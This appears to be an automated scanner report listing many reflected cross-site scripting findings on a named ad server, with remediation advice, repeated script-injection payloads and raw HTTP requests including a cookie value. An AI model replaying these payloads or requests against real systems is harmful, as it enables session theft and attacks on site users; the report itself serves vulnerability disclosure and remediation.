Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 999f7"><script>alert(1)</script>20cb6235d4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69d20"><script>alert(1)</script>056827e3655 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 4831c><script>alert(1)</script>dcd50598372 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ede1a"><script>alert(1)</script>a305855cafa was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5684d"><script>alert(1)</script>3285b7241f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd61c"><script>alert(1)</script>6e12a239d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 68f0e><script>alert(1)</script>1c8ca3d61d3 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b32d"><script>alert(1)</script>367d4ee1dd was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5747e"><script>alert(1)</script>99dd4217e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.10. http://adserver.adtechus.com/adiframe%7C3.0%7C5310.1%7C1403944%7C0%7C170%7CADTECH [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 719d3"><script>alert(1)</script>50f3b928662 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d22e4"><script>alert(1)</script>e1024253c05 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload a3ae0><script>alert(1)</script>ce43ade6607 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40453"><script>alert(1)</script>7fbb26c9a98 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.14. http://adserver.adtechus.com/adiframe%7C3.0%7C5310.1%7C1403971%7C0%7C154%7CADTECH [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 669cd"><script>alert(1)</script>17dfe9ed23c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 23a02><script>alert(1)</script>84b2b0ffe6a was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac568"><script>alert(1)</script>445b737e7e was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df345"><script>alert(1)</script>bd058dcb6b3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.18. http://adserver.adtechus.com/adiframe%7C3.0%7C5310.1%7C1403973%7C0%7C154%7CADTECH [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c62c2"><script>alert(1)</script>47db9872ba7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2786"><script>alert(1)</script>40b84c3f202 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload cf8d5><script>alert(1)</script>1317b9c8006 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce18d"><script>alert(1)</script>d45c1675446 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403936|0|225|ADTECHce18d"><script>alert(1)</script>d45c1675446 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 233
1.22. http://adserver.adtechus.com/adiframe|3.0|5310.1|1403936|0|225|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtechus.com
Path:
/adiframe|3.0|5310.1|1403936|0|225|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45421"><script>alert(1)</script>36b2f6b585b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403936|0|225|ADTECH?45421"><script>alert(1)</script>36b2f6b585b=1 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 236
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3a09"><script>alert(1)</script>28c78281f47 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403936|0|225|ADTECH;target=_blank;kvg=528;kvi=US_FL;grp=[36993428]e3a09"><script>alert(1)</script>28c78281f47 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 282
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 2fd4c><script>alert(1)</script>bc913fe8b87 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403936|0|225|ADTECH;target=2fd4c><script>alert(1)</script>bc913fe8b87 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 278
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6c42"><script>alert(1)</script>e423f98986 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403940|0|225|ADTECHd6c42"><script>alert(1)</script>e423f98986 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 232
1.26. http://adserver.adtechus.com/adiframe|3.0|5310.1|1403940|0|225|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtechus.com
Path:
/adiframe|3.0|5310.1|1403940|0|225|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d43f"><script>alert(1)</script>1c76bda1778 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403940|0|225|ADTECH?6d43f"><script>alert(1)</script>1c76bda1778=1 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 236
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload f2a6f><script>alert(1)</script>8e8573dfda4 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403940|0|225|ADTECH;target=f2a6f><script>alert(1)</script>8e8573dfda4 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 278
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd610"><script>alert(1)</script>29d106ecc94 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403940|0|225|ADTECH;target=_blank;kvg=528;kvi=US_FL;grp=[36993428]cd610"><script>alert(1)</script>29d106ecc94 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 282
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4437"><script>alert(1)</script>433a8f59407 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403944|0|170|ADTECHb4437"><script>alert(1)</script>433a8f59407 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 233
1.30. http://adserver.adtechus.com/adiframe|3.0|5310.1|1403944|0|170|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtechus.com
Path:
/adiframe|3.0|5310.1|1403944|0|170|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da704"><script>alert(1)</script>a7fa24a3079 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403944|0|170|ADTECH?da704"><script>alert(1)</script>a7fa24a3079=1 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 236
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e7f4a><script>alert(1)</script>713a8b0ffb8 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403944|0|170|ADTECH;target=e7f4a><script>alert(1)</script>713a8b0ffb8 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 278
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a402"><script>alert(1)</script>c6499242c01 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403944|0|170|ADTECH;target=_blank;kvg=528;kvi=US_FL;grp=[36993428]7a402"><script>alert(1)</script>c6499242c01 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 282
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be529"><script>alert(1)</script>32ccf94e922 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403971|0|154|ADTECHbe529"><script>alert(1)</script>32ccf94e922 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 233
1.34. http://adserver.adtechus.com/adiframe|3.0|5310.1|1403971|0|154|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtechus.com
Path:
/adiframe|3.0|5310.1|1403971|0|154|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfde3"><script>alert(1)</script>86feb4edcdc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403971|0|154|ADTECH?dfde3"><script>alert(1)</script>86feb4edcdc=1 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 236
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92156"><script>alert(1)</script>4d96c896b2f was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403971|0|154|ADTECH;target=_blank;kvg=528;kvi=US_FL;grp=[36993428]92156"><script>alert(1)</script>4d96c896b2f HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 282
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 64472><script>alert(1)</script>d67b57e15b9 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403971|0|154|ADTECH;target=64472><script>alert(1)</script>d67b57e15b9 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 278
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51d03"><script>alert(1)</script>8cd0b4d7f09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403973|0|154|ADTECH51d03"><script>alert(1)</script>8cd0b4d7f09 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 233
1.38. http://adserver.adtechus.com/adiframe|3.0|5310.1|1403973|0|154|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtechus.com
Path:
/adiframe|3.0|5310.1|1403973|0|154|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc81f"><script>alert(1)</script>6147fcf2f5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403973|0|154|ADTECH?dc81f"><script>alert(1)</script>6147fcf2f5c=1 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 236
The value of the target request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload f5a07><script>alert(1)</script>ee1b21623f9 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403973|0|154|ADTECH;target=f5a07><script>alert(1)</script>ee1b21623f9 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 278
The value of the target request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2771"><script>alert(1)</script>fe9daaa66f4 was submitted in the target parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adiframe|3.0|5310.1|1403973|0|154|ADTECH;target=_blank;kvg=528;kvi=US_FL;grp=[36993428]a2771"><script>alert(1)</script>fe9daaa66f4 HTTP/1.1 Host: adserver.adtechus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JEB2=4CDC83886E651A45E171CE41F000F262;
Response
HTTP/1.0 200 OK Connection: close Content-Type: text/html Content-Length: 282